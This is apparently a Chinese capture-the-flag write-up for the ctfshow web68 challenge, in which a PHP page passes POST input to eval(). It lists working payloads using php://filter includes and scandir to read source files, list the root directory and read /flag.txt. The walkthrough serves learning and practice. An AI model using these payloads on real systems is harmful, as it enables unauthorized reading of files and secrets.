当前位置: 首页 > news >正文

[ctfshow web入门] web68

信息收集

highlight_file被禁用了,使用c=include("php://filter/convert.base64-encode/resource=index.php");读取index.php,使用c=include("php://filter/convert.iconv.utf8.utf16/resource=index.php");可能有些乱码,不好看

if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

解题

按照管理读取flag.php

c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
c=include("php://filter/convert.base64-encode/resource=flag.php");

我这里为了不显示乱码,使用了base64编码读取,可惜,结果似乎不是很完整
在这里插入图片描述
照例读目录

c=var_dump(scandir('/'));

在这里插入图片描述
因为没有标签,不用担心被标签包含的被当做代码执行了,所以直接include("/flag.txt")也是可以的

c=include("php://filter/convert.iconv.utf8.utf16/resource=/flag.txt");
c=include("php://filter/convert.base64-encode/resource=/flag.txt");
c=include("/flag.txt")

在这里插入图片描述


web67    目录    web69

相关文章:

  • Android 使用Paging3 实现列表分页加载、下拉刷新、错误重试、筛选功能
  • Java 泛型(Generic)
  • 基于NI-PXI的HIL系统开发
  • matlab介绍while函数
  • 从爬虫到网络---<基石9> 在VPS上没搞好Docker项目,把他卸载干净
  • CSS弹性布局
  • 最大公约数gcd和最小公倍数lcm
  • Yocto是如何使用$D目录来构建文件系统的?
  • 2025年货运从业资格考试题库及答案
  • comfyu BiRefNet-General模型下载及存放地方
  • JDK10新特性
  • 数据结构算法习题通关:树遍历 / 哈夫曼 / 拓扑 / 哈希 / Dijkstra 全解析
  • 小程序初始化加载时间优化 步骤思考与总结
  • 每日一题:两个仓库的最低配送费用问题
  • 每日一题洛谷T534125 合数c++
  • 深入理解Embedding技术-什么是Embedding?
  • 回文数(9)
  • RocketMQ Kafka区别
  • 质数和约数
  • BufferAttribute
  • 一生要出片的年轻人,买爆相机
  • 肖峰读《从塞北到西域》︱拉铁摩尔的骆驼
  • 告别户口本!今天起婚姻登记实现全国通办
  • 图忆|红场阅兵:俄罗斯30年来的卫国战争胜利日阅兵式
  • 梅花奖在上海|第六代“杨子荣”是怎样炼成的?
  • 妻子藏匿一岁幼儿一年多不让丈夫见,法院发出人格权侵害禁令